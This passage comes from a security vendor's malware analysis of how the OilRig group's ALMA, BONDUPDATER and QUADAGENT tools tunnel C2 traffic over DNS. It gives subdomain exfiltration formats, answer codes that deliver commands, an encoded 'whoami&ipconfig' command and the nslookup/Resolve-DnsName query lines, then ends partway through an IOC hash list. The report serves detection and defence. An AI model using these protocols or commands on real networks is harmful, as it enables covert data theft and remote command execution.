($%^!)\r\nEnd – 33.33.94.94 (!!^^)\r\nFigure 20 shows the ALMA dot variant using the same IPv4 address of “36.37.94[.]33” to mark the beginning of\r\nthe data it will download from the C2 server, which in this case is the same batch script “_DnsInit.bat” as\r\nmentioned in the ALMA dash section.\r\nhttps://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/\r\nPage 17 of 32\n\nFigure 20. ALMA dot using DNS tunnel to download a batch script from the C2 server\r\nWhen exfiltrating data via the DNS tunnel, ALMA dot variant has a similar but different structure than the dash\r\nvariant and can transmit three times the amount of data per request. The following structure shows that the dot\r\nvariant exfiltrates 60 characters of hexlified data (30 bytes) and another 60 characters of hexlified data (30 bytes)\r\nthat represents the filename that the data is exfiltrated from:\r\n[random number between 1-9999999](IDID|idid)[MD5 hash for unique identifier].[sequence number].[total count\r\nin sequence].[60 or less characters for hexlified data].[60 or less characters for hexlified filename].[c2 domain]\r\nFigure 21 shows the ALMA dot variant exfiltrating the results of the batch script downloaded by the C2 server in\r\nthe previous figure. The figure shows the queries containing a sequence number that increases by one each query\r\nuntil it reaches 8, which is the value in the field in the subdomain that signifies the total number of queries in the\r\nsequence. The following field contains 60 characters that represent 30 bytes of hexlified data that the Trojan is\r\nsending to the C2. The last field in the subdomain is the hexadecimal string “5F446E73496E69742E747874” that\r\ndecodes to “_DnsInit.txt”, which is the file that stored the results of the “_DnsInit.bat” script downloaded from the\r\nC2 server.\r\nFigure 21. ALMA dot sending the output of the batch script via the DNS tunnel\r\nBONDUPDATER\r\nOilRig has used the BONDUPDATER tool in its attack campaigns as far back as mid-2017 according to FireEye’s\r\nresearch. There were two known variants of BONDUPDATER prior to our discovery of a new variant of\r\nBONDUPDATER delivered in a targeted attack on a Middle Eastern government organization in August 2018 that\r\nwe blogged about here. The early variants of variants of BONDUPDATER used DNS A record queries for its\r\nDNS tunnel using the “GetHostAddresses” method in the System.Net.Dns class. The later variant of\r\nBONDUPDATER relied on raw sockets provided by the System.Net.Sockets.UdpClient class to issue both DNS A\r\nand TXT lookups to facilitate the DNS tunnel. The use of multiple DNS query types makes the two\r\nBONDUPDATER variants dramatically different, so we will describe each separately.\r\nhttps://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/\r\nPage 18 of 32\n\nEarly BONDUPDATER\r\nThe initial BONDUPDATER samples used DNS A queries exclusively to set up its communication tunnel with its\r\nC2 server. Depending on the sample, the subdomains generated by this variant of BONDUPDATER would differ\r\nslightly, but the overall purpose of this variant of BONDUPDATER is to use a DNS tunnel to download a new\r\nPowerShell and/or VBScript script from the C2 to execute.\r\nThe initial BONDUPDATER variant issues a beacon in the form of a DNS A request to the C2 server. To build\r\nthis beacon, the Trojan will create a subdomain that contains a random number, a sequence number and a unique\r\nsystem identifier. The Trojan will first create a unique system identifier by executing the “whoami” command and\r\nusing the first 12-characters of output as the identifier. The sequence number in the subdomain allows the Trojan\r\nto notify the C2 the offset within the data that it is requesting, which is “000” for the initial beacon. The Trojan\r\nuses the following structure for the initial beacon:\r\n\u003crandom number between 10-99, 1-6 digits worth\u003e\u003caction value, “0” for beacon\u003e\u003csequence number\u003e\u003cunique\r\nsystem identifier\u003eB007.\u003cC2 domain\u003e\r\nIf the C2 wishes to send data to the Trojan, it will respond with an IPv4 address within the answer that starts with\r\n“24.125” as the first two octets. The Trojan will treat the remaining two octets as characters that it will use as a\r\nfilename to save the data provided by the C2. The Trojan will use the last character of the filename to determine\r\nhow to handle the data provided by the C2. Table 4 shows the three values the Trojan will look for as the last digit\r\nof the filename (fourth octet of response to the beacon) and how the Trojan will handle the received data.\r\nLast digit in Filename Description\r\n0 Treat data as PowerShell commands to execute\r\n1 Write data to \u003cfilename\u003e.ps1\r\n2 Write data to \u003cfilename\u003e.vbs\r\nTable 4. Commands run based on the trailing character in the filename\r\nFigure 22 shows the C2 responding with “24.125.0[.]1”, which instructs BONDUPDATER to create a file named\r\n“01.ps1” to save the data. If the C2 wishes to terminate the Trojan, it would respond to the beacon with an IPv4\r\nanswer of “11.24.237[.]110”.\r\nFigure 22. Original BONDUPDATER beacon and the C2 server responding with a filename and data within the\r\nIPv4 answers\r\nhttps://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/\r\nPage 19 of 32\n\nOnce it creates the file, BONDUPDATER will begin sending DNS queries to request IPv4 answers that it will\r\ntreat as data. The Trojan will use the same query structure as the beacon, but will use an action value of “1” and\r\nbegin incrementing the sequence number in the subdomain by 3 upon each request for data. The sequence number\r\ncorresponds to the offset of the data that the C2 server will send, which it will transmit three bytes at a time within\r\nthe first, second and third octets of the IPv4 address. The C2 will provide the current sequence number within the\r\nfourth octet of the IPv4 address, which echoes the sequence number back to the Trojan to confirm it is the correct\r\ndata chunk. Figure 22 also shows the C2 providing IP addresses as answers to next two queries with the first three\r\noctets as data and the fourth octet as the sequence number, which the Trojan would save “whoami” to the “01.ps1”\r\nfile.\r\nIf the Trojan successfully downloads the data from the C2 server, it crafts another subdomain that it will query to\r\nnotify the C2 of the successful data transfer. This subdomain is interesting as it includes the system specific\r\nidentifier from the beacon, but also includes up to 25-bytes of hexadecimal bytes of the output from the “whoami”\r\ncommand that was used to craft the unique system identifier. We believe that BONDUPDATER would use this\r\nstructure to transmit data back to the C2 server if desired. The subdomain built for the notification query has the\r\nfollowing structure:\r\n\u003crandom number between 10-99, 5-10 digits worth\u003e4\u003csequence number, always “000”\u003e\u003cunique system\r\nidentifier\u003eB007.\u003c25-bytes of hexlified ‘whoami’ output\u003e.\u003cC2 domain\u003e\r\nFigure 23 shows BONDUPDATER notifying the C2 that it downloaded the data, but the figure also shows how\r\nthe queries would look for data exfiltration.\r\nFigure 23. BONDUPDATER sending data to the C2\r\nThe BONDUPDATER Trojan does not run the downloaded PowerShell or VBScript files, instead it relies on the\r\nC2 responding to a subsequent beacon with an IPv4 within the answer that starts with “24.125” and the fourth\r\noctet containing a “0”. According to Table 4, BONDUPDATER would treat the downloaded data as a PowerShell\r\ncommand, which would allow the actor to run previously downloaded PowerShell and/or VBScript files.\r\nUpdated BONDUPDATER\r\nThe updated BONDUPDATER that OilRig used in a 2018 attack on a Middle Eastern government organization\r\nhad the same DNS tunneling protocol as the previously described variant, however, it could also use a different\r\ntunneling protocol that used a combination of DNS A and TXT queries for data transfer.\r\nThe updated BONDUPDATER uses the same DNS tunneling protocol using DNS A queries, specifically looking\r\nfor an IPv4 address starting with “24.125” to get the filename to save the data to and “11.24.237.110” if the C2\r\nwishes to terminate the Trojan. The updated BONDUPDATER also looks for an IPv4 address of\r\n“99.250.250.199”, which instructs the Trojan to begin using the alternate DNS tunnel that issues DNS TXT\r\nqueries to transfer data.\r\nhttps://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/\r\nPage 20 of 32\n\nRegardless of which DNS tunneling protocol the Trojan uses, the subdomains crafted have a different structure\r\nfrom the previously known variant. As mentioned in our previous blog:\r\n\"The format of the generated domains for both sending and receiving starts with the previously generated GUID\r\ncreated to uniquely identify the system. However, the Trojan inserts a part number value and an action type\r\ncharacter into this GUID string at random offsets. The part number value is a three-digit string that corresponds\r\nto the chunk of data the Trojan is attempting to transmit. The action type is a single character that notifies the C2\r\nthe type of communication the Trojan is carrying out. The two static characters “C” and “T” in the subdomain\r\nsurround two digits, which help the C2 server find the part number and action type mixed in within the GUID\r\nstring at random offsets.\"\r\nThe structure of the subdomains previously described is as follows, with the indexes for the part number and\r\naction representing a zero-based indexed string (0 is the first character of the string):\r\n\u003cGUID with part number and action character\u003e\u003csequence number\u003e\u003cbetween 1 and 7 random characters\u003eC\u003cindex\r\nof part number\u003e\u003cindex of action\u003eT.\u003cC2 domain\u003e\r\nThe initial beacon from the Trojan to the C2 uses an action type of “M” and a part number of “000”, as the Trojan\r\nis not attempting to transmit any data. Figure 24 shows an example beacon sent from the BONDUPDATER to its\r\nC2 server, with the part number “000” at offset 7 and the action “M” at offset 4. It is important to note that if the\r\nindex of the action is larger than the index of the part number, then the location of the action will be incorrect and\r\nwill need the length of the part number (3) added to it to find the correct offset.\r\n \r\nFigure 24. Updated BONDUPDATER’s initial beacon and the C2 instructing Trojan to use TXT queries\r\nAs you can see in Figure 24, the C2 server responded to the beacon with the IPv4 address “99.250.250[.]199” to\r\ninstruct BONDUPDATER to use the new TXT-based DNS tunnel. To obtain commands from the C2 server,\r\nBONDUPDATER will request a filename from the C2 server via a beacon that uses a DNS TXT query with “W”\r\nas the action value. BONDUPDATER will not only use this filename to write downloaded data to, but it will also\r\nuse the trailing character of the filename as the command to run. Table 5 from our previous blog shows how the\r\nTrojan will use the trailing character of the provided filename to carry out specific activities.\r\nTrailing\r\nCharacter/Command\r\nPurpose Description\r\n0\r\nExecute\r\ncommand\r\nReads the contents of the file and runs them as a command with\r\n“cmd.exe”. The output of the command is saved to a file whose\r\nname starts with “proc” and is stored in the “sendbox” folder,\r\nwhich the Trojan will send to the C2 server.\r\nhttps://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/\r\nPage 21 of 32\n\n1\r\nDownload\r\nfile\r\nReads the contents of the file for a path to a file to download.\r\nCopies the specified file to a file in the “sendbox” folder for the\r\nTrojan to send to the C2 server.\r\nAny other character Upload file\r\nUsed to store a file on the system. The file is moved to the “done”\r\nfolder, which stores the file for future use. The Trojan writes\r\n“200\u003c\u003e[path to stored file]” to a file in the “sendbox” folder to\r\nnotify the C2 that the file was downloaded successfully.\r\nTable 5. Commands available in BONDUPDATER and their purpose\r\n The C2 server will respond to this DNS TXT query with TXT answers that start with an instruction that tells\r\nBONDUPDATER how to process the data. Table 6 from our previous blog shows the instructions that the Trojan\r\nwill parse for within the TXT answer. A greater than (“\u003e”) character will immediately follow the instruction within\r\nthe TXT answer, in which the Trojan will treat the characters that follow the greater than character as data.\r\nInstruction Description\r\nN Idle. Set action type of next query to “W”\r\nS\r\nReceive data from C2. Decode data portion as base64. Sets the action type of future queries to\r\nthe C2 to “D”.\r\nS000s\r\nUse data to as a portion of the filename to save data to. The data is appended to the string\r\n“rcvd”, which will be saved in the “receivebox” folder. Sets the action type of future queries to\r\nthe C2 to “D”.\r\nE\r\nWrite bytes provided by the “S” command to the file resulting from the “S000s” command.\r\nThe breaks the loop for the script to process the downloaded file.\r\nC Cancel communications by exiting the loop.\r\nTable 6. Instructions within the new data transfer process in BONDUPDATER and their meanings\r\nTo execute a command on the system, the C2 would respond to the “W” TXT beacon with the instruction “S000s”\r\nfollowed by the greater than (“\u003e”) character and a filename that ends in a character that ends in “0”. Figure 25\r\nshows the BONDUPDATER issuing a request to obtain a filename from the C2 server by issuing a TXT query\r\nwith the “W” action at offset 3 in the subdomain. The screenshot also shows the C2 responding to the query with\r\n“S000s\u003e10100”, which tells the Trojan to create a file named “rcvd10100”, as the Trojan will append the provided\r\nfilename to the string “rcvd”.\r\n \r\nhttps://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/\r\nPage 22 of 32\n\nFigure 25. BONDUPDATER requesting a filename to which to save downloaded data\r\n With the filename obtained, the Trojan will begin issuing DNS TXT queries with an action of “D” to download\r\ndata from the C2. The C2 server will respond to these requests with an instruction of “S0000”, followed by the\r\nfirst chunk of base64 encoded data that is the command. Figure 26 shows BONDUPDATER issuing a TXT query\r\nwith the “D” action at offset 5 and the C2 server responding with the instruction of “S0000” and the encoded\r\ncommand of “d2hvYW1pJmlwY29uZmlnIC9hbGw=” for the command “whoami\u0026ipconfig /all”.\r\n \r\nFigure 26. BONDUPDATER requesting data to download and the C2 providing base64 data\r\n BONDUPDATER waits to receive an instruction from the C2 server that starts with “E” before writing the\r\ndownloaded data to the supplied filename. After receiving the “E” instruction, the Trojan will write the base64\r\ndecoded data to the file and process the newly created file. Figure 27 shows the C2 server providing the “E”\r\ninstruction within the TXT answer. In the current example, the Trojan would treat the newly saved file as a script\r\nthanks to the filename ending with the “0” character. The Trojan would run the contents of the file using\r\n“cmd.exe” and save the output to a file named “proc10100” that will be uploaded to the C2 server.\r\nFigure 27. BONDUPDATER C2 providing an instruction to tell the Trojan to write the data to the file\r\n To upload data to the C2 server, the updated BONDUPDATER variant will use DNS A requests to transmit the\r\ndata within the crafted subdomain. The structure of this subdomain differs from the DNS A and TXT requests\r\nmeant to receive data, as these subdomains include segments for the filename and the data itself. To send data to\r\nthe C2, the Trojan will issue DNS A queries to resolve domains with the following structure:\r\n \u003cGUID with part number and action character of “2”\u003e\u003csequence number\u003e\u003cbetween 1 and 7 random\r\ncharacters\u003eC\u003cindex of part number\u003e\u003cindex of action\u003eT.\u003cdata chunk\u003e.\u003cfilename\u003e.\u003cc2 domain\u003e\r\nWhen sending data to the C2, the Trojan will include the character “2” for the action to notify the C2 that it is\r\ngoing to send data. Both the data and filename segments of the subdomain are encoded using an encoding\r\nmechanism that takes the following steps:\r\n1. Creates two separate empty strings\r\n2. Converts each data byte to their hexadecimal form\r\n3. Splits each hexadecimal byte into two nibbles\r\n4. Appends the first nibble to the first string\r\n5. Appends the second nibble to the second string\r\n6. Concatenates the two strings together\r\nhttps://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/\r\nPage 23 of 32\n\nThis process effectively separates the two characters of each hexadecimal byte and spreads them out across the\r\ntotal string. The filename segment contains the encoded string for the filename with an asterisk (“*”) appended.\r\nFor instance, the “10100” file seen in Figure 27 above will have an asterisk appended to it to produce “10100*”,\r\nwhich when encoded using this method results in a string of “33333210100A”. The following code block\r\nvisualizes how this encoding method works: \r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\n22\r\nString to encode: 10100*\r\nChar '1' is 31 in hex.\r\n - Put '3' in string 1\r\n - Put '1' in string 2\r\nChar '0' is 30 in hex.\r\n - Put '3' in string 1\r\n - Put '0' in string 2\r\nChar '1' is 31 in hex.\r\n - Put '3' in string 1\r\n - Put '1' in string 2\r\nChar '0' is 30 in hex.\r\n - Put '3' in string 1\r\n - Put '0' in string 2\r\nChar '0' is 30 in hex.\r\n - Put '3' in string 1\r\n - Put '0' in string 2\r\nChar '*' is 2A in hex.\r\n - Put '2' in string 1\r\n - Put 'A' in string 2\r\nConcat string 1 “333332” and string 2 “10100A”\r\nEncoded string: 33333210100A\r\nhttps://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/\r\nPage 24 of 32\n\n23\r\n24\r\n25\r\n26\r\n27\r\n28\r\n29\r\n30\r\n31\r\n32\r\n33\r\n34\r\n35\r\n36\r\n37\r\n38\r\n39\r\n40\r\n41\r\nThe data segment of the subdomain can be a maximum of 60 characters long, so BONDUPDATER will split the\r\ndata to exfiltrate into 30-byte chunks and encode the data using the same encoding method. To initiate the\r\nexfiltration of this file with the C2, BONDUPDATER will issue an initial DNS A query for a domain whose data\r\nchunk section starts with a hardcoded “COCTab” string followed by an encoded string of data that contains the\r\nfilename and the length of the encoded data that will be transmitted. For instance, the “10100” file used in our\r\nexample stored 2795 bytes of output from the issued command, which results in 5590 bytes when encoded. The\r\nTrojan splits the filename and data size with an asterisk and uses asterisks as padding to create a 27-character\r\nstring of  “10100*5590*****************”, which results in an encoded string\r\n“33333233332222222222222222210100A5590AAAAAAAAAAAAAAAAA”. BONDUPDATER appends this\r\nencoded string to “COCTab” and issues a DNS query using this as its data segment of the subdomain to notify the\r\nhttps://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/\r\nPage 25 of 32\n\nC2 how many DNS A requests it will issue to transmit the data. Figure 28 shows the initial notification query that\r\ncontains the “33333210100A” string in the filename segment and the data segment containing the filename and\r\ndata length string after “COCTab”.\r\nFigure 28. BONDUPDATER query notifying the C2 that it will upload the contents of a file\r\nThe C2 server will respond to this DNS A request with an IPv4 address that contains the first two characters of the\r\nGUID used as the system identifier as the first octet, “2” and “3” as the second and third octet and the fourth octet\r\ncontaining a sequence number corresponding to the data chunk that the C2 server wishes the Trojan to send.\r\nBONDUPDATER will continue to send DNS A queries with chunks of encoded data from the file within the data\r\nsegment of the subdomain until all of the data has been transmitted. Figure 29 shows the C2 server responding to\r\nthe notification query and the following data transfer queries with the IPv4 addresses whose fourth octet\r\nincrements by three to obtain the next chunk of data.\r\nFigure 29. BONDUPDATER transmitting data to the C2 in the queried subdomains\r\n After sending all of the data, the Trojan will issue a final DNS query with “COCTabCOCT” in the data segment.\r\nThis query notifies the C2 server that the Trojan has finished sending the contents of the file. Figure 30 shows the\r\ncontinued data transfer via DNS queries, followed by the final DNS query with “COCTabCOCT” within the data\r\nsegment. \r\nFigure 30. BONDUPDATER sending data and telling the C2 it is done via the \"COCTabCOCT\" string\r\nQUADAGENT\r\nOilRig has used the QUADAGENT tool in targeted attacks, one of which we publicly discussed in our blog titled\r\nOilRig Targets Technology Service Provider and Government Agency with QUADAGENT. QUADAGENT is\r\ncapable of using DNS tunneling to communicate with its C2 server using DNS queries to resolve custom crafted\r\nsubdomains of a C2 domain. The DNS tunneling protocol uses AAAA queries to transmit and receive data\r\nbetween the infected system and its C2 server. Depending on the version of Windows, the payload will use a\r\ndifferent method to issue the queries, specifically:\r\nhttps://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/\r\nPage 26 of 32\n\nWindows 8+\r\nResolve-DnsName -Name \u003cgenerated subdomain\u003e.\u003cc2 domain\u003e -Type AAAA -DnsOnly\r\nWindows 7\r\nnslookup.exe -q=aaaa \u003cgenerated subdomain\u003e.\u003cc2 domain\u003e.\r\nIt appears that the author knew that PowerShell on Windows versions prior to Windows 8.1 did not have the\r\nDnsClient module that contains the Resolve-DnsName method. At a high level, QUADAGENT communicates\r\nwith its C2 server to obtain a PowerShell script that it will replace itself with, which essentially updates the Trojan\r\nwith a secondary payload. To carry out this updating functionality, QUADAGENT follows a sequence of steps\r\nthat involves:\r\n1. Obtaining a session identifier and pre-shared key\r\n2. Confirming the correct session identifier\r\n3. Downloading the PowerShell script\r\n4. Confirming the download and execution\r\nThe first step to set up communications between QUADAGENT and the C2 involves an initial handshake to\r\nobtain a session ID and pre-shared key. To obtain its session id and pre-shared key, the payload will issue a query\r\nto resolve the following domain, which acts as the initial beacon:\r\nmail.\u003crandom number between 100000 and 999999\u003e.\u003cc2 name\u003e\r\nThis request is to notify the C2 server that the payload is about to send system specific data as part of the initial\r\nhandshake. The system specific data sent to the C2 server is in the following format:\r\n\u003cdomain\u003e\\\u003cusername\u003e:pass\r\nThe above string is encoded using a custom base64 encoder to strip out non-alphanumeric characters (\"=\",\"/\" and\r\n\"+\") from the data and replaces them with domain safe values (\"01\", \"02\" and \"03\" respectively). QUADAGENT\r\nwill issue a DNS query to resolve a domain with the following structure to send this encoded system data to the\r\nC2:\r\n\u003cencoded system data\u003e.\u003csame random number between 100000 and 999999 above\u003e.\u003cc2 name\u003e\r\nThe C2 server will respond to these requests by providing a session identifier to uniquely identify the\r\ncompromised system and pre-shared key encrypt data sent via the DNS tunnel. To transfer this data to\r\nQUADAGENT, the C2 server will respond to the last DNS query with an IPv6 address that contains a number that\r\nthe Trojan will use to determine how many DNS requests it must issue to download the data from the C2 server.\r\nThe C2 server will send the count value in the last two hexadectets of the IPv6 address in the answer to the query.\r\nFigure 31 shows QUADAGENT sending a query to notify the C2 that it will send system specific data in the\r\nfollowing query. The C2 response has “2” in the last two hexadectets, which instructs the Trojan to issue two\r\nqueries to download the desired data.\r\nhttps://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/\r\nPage 27 of 32\n\nFigure 31. Wireshark displaying beacon and transmission of system information between QUADAGENT and its\r\nC2\r\nTo receive the data, QUADAGENT will issue DNS requests to resolve subdomains of the C2 domain that start\r\nwith “www” followed immediately by a sequence number of the chunk of data the Trojan currently seeks. The\r\nTrojan will issue queries to resolve the domains with the following structure until it has reached the count value\r\nprovided by the C2 in Figure 31:\r\nwww\u003csequence number\u003e.\u003crandom number between 100000 and 999999\u003e.\u003cc2 name\u003e\r\nAfter obtaining the data, QUADAGENT will issue a query to resolve a subdomain structured as follows to signal\r\nto the C2 server that it received all of the data:\r\nwww.\u003crandom number between 100000 and 999999\u003e.\u003cc2 name\u003e\r\nFigure 32 shows QUADAGENT issuing DNS requests with incrementing sequence numbers and the C2 providing\r\nthe session identifier and pre-shared key within the IPv6 answers. The screenshot also shows the Trojan sending a\r\nDNS query to notify the C2 that it successfully received the data.\r\nFigure 32. Wireshark displaying QUADAGENT downloading a session identifier and pre-shared key from C2\r\nQUADAGENT will then finish the handshake sequence by using its newly obtained session identifier in a series\r\nof queries. The Trojan will use a similar series of queries later on to exfiltrate data to the C2 later in its\r\ncommunications, but at this point in the communications QUADAGENT just uses them to echo the session\r\nidentifier back to the C2. The payload starts this process by issuing a DNS query to resolve a domain with the\r\nfollowing structure to notify the C2 that it is about to send data:\r\nns1.\u003cnew random number between 100000 and 999999\u003e.\u003cc2 name\u003e\r\nQUADAGENT does nothing with the answer to the previous query, rather it immediately issues a query to resolve\r\nthe following domain, which effectively transmits the session id value to the C2:\r\n\u003csession id\u003e.\u003csame random number between 100000 and 999999\u003e.\u003cc2 domain name\u003e\r\nOnce again, the payload disregards the answer to the query above. At this point, if QUADAGENT had data to the\r\nC2, it would encrypt the data and encode the ciphertext using the custom base64 function used to transmit the\r\nsystem information within the handshake. The Trojan would then send this encoded data within a sequence of\r\nhttps://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/\r\nPage 28 of 32\n\nqueries that include 60 characters of the encoded ciphertext as the first portion of the subdomain. After completing\r\nthe data transmission, QUADAGENT then issues one last query to resolve a domain with “ns2” as the subdomain\r\nto notify the C2 server that it is done sending data. At this point in the communications, QUADAGENT does not\r\nhave any data to send to the C2, as it is only echoing the session identifier so the Trojan issues a query to resolve a\r\ndomain structured as follows:\r\nns2.\u003csame random number between 100000 and 999999\u003e.\u003cc2 domain name\u003e\r\nFigure 33 shows QUADAGENT sending the provided session identifier to the C2 server.\r\nFigure 33. Wireshark showing QUADAGENT echoing its session identifier back to the C2\r\nTo transmit the data via the DNS tunneling channel, the C2 server will respond to the previous query with an IPv6\r\naddress that contains the number of DNS queries the payload must issue to obtain the entirety of the data from\r\nsubsequent IPv6 answers. This is the same process discussed earlier when the C2 server provided the session\r\nidentifier and pre-shared key. Much like the data transfer method discussed earlier, QUADAGENT will issue DNS\r\nrequests to resolve subdomains “www\u003csequence number\u003e” with the sequence number incrementing until it\r\nreceives all the data. Once it receives all the data, the Trojan issues a query to resolve “www.” to notify the C2 that\r\nit received all the data.\r\nThe C2 can respond to the query to resolve the “ns2.” domain with pipe-delimited (“|”) data that QUADAGENT\r\nwill parse and handle in one of two ways depending on fields provided. The Trojan will parse the two types of\r\ndata and treat them as:\r\nA new session identifier and pre-shared key\r\nA command to overwrite the current script with a new PowerShell script to execute\r\nFirst, the C2 can provide data with a specific structure that QUADAGENT will treat as a new session identifier\r\nand pre-shared key. Much like the initial handshake, QUADAGENT will save this session identifier and pre-shared key to the registry so the Trojan does not have to carry out the handshake each time it executes. The C2\r\ncreates a string following structure and sending it to QUADAGENT as cleartext via IPv6 addresses in the\r\n“www\u003csequence number\u003e” query sequence:\r\n\u003csession identifier\u003e|\u003clength of pre-shared key\u003e|\u003cpre-shared key\u003e\r\nSecond, the C2 can provide data that QUADAGENT will treat as a command that it will parse looking for data to\r\noverwrite its current file with a new PowerShell script. The C2 provides this data by creating a string with the\r\nfield before the first pipe (“|”) empty, the second field containing the length of the ciphertext and the third field\r\nstarting with the 16-byte initialization vector (IV) followed by the data encrypted with AES using the previously\r\nmentioned IV and the pre-shared key. This data is sent to the Trojan via the “www\u003csequence number\u003e” query\r\nsequence in the following format:\r\nhttps://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/\r\nPage 29 of 32\n\n|\u003clength of encrypted data\u003e|\u003cAES IV\u003e\u003cData encrypted with AES and pre-shared key\u003e\r\nFigure 34 shows the C2 server instructing QUADAGENT to issue 5 requests to download data. QUADAGENT\r\nissues these queries and increments the sequence number in each query. The C2 server provides answers to these\r\nqueries with the length of the data, the 16-byte AES initialization vector and the data encrypted with AES using\r\nthe pre-shared key.\r\nFigure 34. Wireshark displaying QUADAGENT downloading a command from the C2 server\r\nQUADAGENT will decrypt the data downloaded from the C2 server using AES with the provided IV and the\r\npreviously provided pre-shared key. QUADAGENT will parse the decrypted data based on the following\r\nstructure:\r\nhello\u003cchar uuid[35]\u003e\u003cchar type[1]\u003e\u003cdata\u003e\r\nThe message will start with the string 'hello', followed by a 35 character UUID string. The 'type' field specifies the\r\ncommand that the payload will handle, which known QUADAGENT samples can only handle one command type\r\n'x'. The 'x' command treats the supplied data field as a PowerShell script that it will write to the current\r\nPowerShell script, effectively overwriting the initial PowerShell script with a secondary payload.\r\nThe payload will then notify the C2 that it has successfully downloaded the secondary PowerShell payload. The\r\npayload creates a string that has the following structure that it will send to the C2:\r\nbye\u003cchar uuid[35]\u003ed\r\nQUADAGENT will send the above string to the C2 using the sequence of DNS queries previously mentioned for\r\ndata exfiltration. The sequence starts by first issuing a DNS query to resolve the following domain to notify the C2\r\nthat the payload will send data to it in subsequent DNS queries:\r\nns1.\u003crandom number between 100000 and 999999\u003e.\u003cc2 name\u003e\r\nQUADAGENT will then issue a query to resolve a subdomain structured as follows, which contains the session\r\nidentifier that notifies the C2 which host is about to send data:\r\n\u003csession id\u003e.\u003csame random number between 100000 and 999999\u003e.\u003cc2 domain name\u003e\r\nThe payload will then split the message up into 60-byte chunks, which it will send to the C2 via DNS queries to\r\nresolve domains structured as:\r\nhttps://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/\r\nPage 30 of 32\n\n\u003cencoded/encrypted data of message\u003e.\u003csame random number between 100000 and 999999\u003e.\u003cc2 name\u003e\r\nThe payload will notify the C2 that it is done sending data by issuing a DNS query to resolve a domain structured\r\nas:\r\nns2.\u003csame random number between 100000 and 999999\u003e.\u003cc2 name\u003e\r\nFigure 35 shows QUADAGENT uploading data to the C2 server as base64 encoded data within the queried\r\nsubdomain. Before sending the data, the Trojan provides the notification query using the “ns1” subdomain,\r\nfollowed by a query with the session identifier. Finally, QUADAGENT issues a query for the “ns2” subdomain to\r\nnotify the C2 that it is done sending data.\r\nFigure 35. Wireshark displaying QUADAGENT sending its \"bye\" message to the C2 server\r\nConclusion\r\nThe OilRig group has repeatedly used DNS tunneling as a channel to communicate between their C2 servers and\r\nmany of their tools. As mentioned in our overview of DNS tunneling, this threat group saw the benefits of using\r\nDNS tunneling, as DNS is almost universally allowed through security devices. One major drawback of using\r\nDNS tunneling is the high volume of DNS queries issued to transmit data back and forth between the tool and the\r\nC2 server, which may stand out to those monitoring DNS activity on their networks.\r\nWhile all DNS tunneling protocols have to abide by the standardized DNS protocol, not all of the tunneling\r\nprotocols used by OilRig are equal from an efficiency or blending in standpoint. Data transmission using these\r\nDNS tunnels uses specially crafted subdomains, which can transmit more data per query by designating more of\r\nthe characters within the subdomain as data. It is also obvious that the use of base64 encoding is more efficient\r\nthan base16 in these protocols, as each character of base64 encoded data can send .75 bytes of data whereas\r\nbase16 requires two characters to send 1 byte. Regardless of the encoding, the extremely long subdomains used in\r\nsome of these tunnels to transmit data may not blend into legitimate DNS query traffic.\r\nPalo Alto Networks customers interested in protecting themselves against DNS Tunneling attacks should\r\ninvestigate our DNS Security Service, which uses advanced techniques to identify and block DNS Tunneling\r\nattacks.\r\nPalo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report\r\nwith our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections\r\nto their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat\r\nAlliance, visit www.cyberthreatalliance.org.\r\nhttps://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/\r\nPage 31 of 32\n\nIOCs\r\nWhile not an exhaustive list of samples, please reference the following SHA256 hashes for the various tools\r\ndiscussed in this blog.\r\nHelminth\r\n662c53e69b66d62a4822e666031fd441bbdfa741e20d4511c6741ec3cb02475f\r\n089bf971e8839db818ac462f53f82daed523c413bfc2e01fb76dd70b37162afe\r\nd808f3109822c185f1d8e1bf7ef7781c219dc56f5906478651748f0ace489d34\r\n1b2fee00d28782076178a63e669d2306c37ba0c417708d4dc1f751765c3f94e1\r\n0ec288ac8c4aa045a45526c2939dbd843391c9c75fa4a3bcc0a6d7dc692fdcd1\r\n3986d54b00647b507b2afd708b7a1ce4c37027fb77d67c6bc3c20c3ac1a88ca4\r\nf5a64de9087b138608ccf036b067d91a47302259269fb05b3349964ca4060e7e\r\n4b5112f0fb64825b879b01d686e8f4d43521252a3b4f4026c9d1d76d3f15b281\r\nISMAgent\r\na9f1375da973b229eb649dc3c07484ae7513032b79665efe78c0e55a6e716821\r\n52366b9ab2eb1d77ca6719a40f4779eb302dca97a832bd447abf10512dc51ed9\r\nALMA dash\r\nf37b1bbf5a07759f10e0298b861b354cee13f325bc76fbddfaacd1ea7505e111\r\nALMA dot\r\ne52b8b0e8225befec156b355b3022faf5617542b82aa54f9f42088aa05a4ec49\r\nBONDUPDATER Original\r\nde620a0511d14a2fbc9b225ebfda550973d956ab4dec7e460a42e9d2d3cf0588\r\nBONDUPDATER 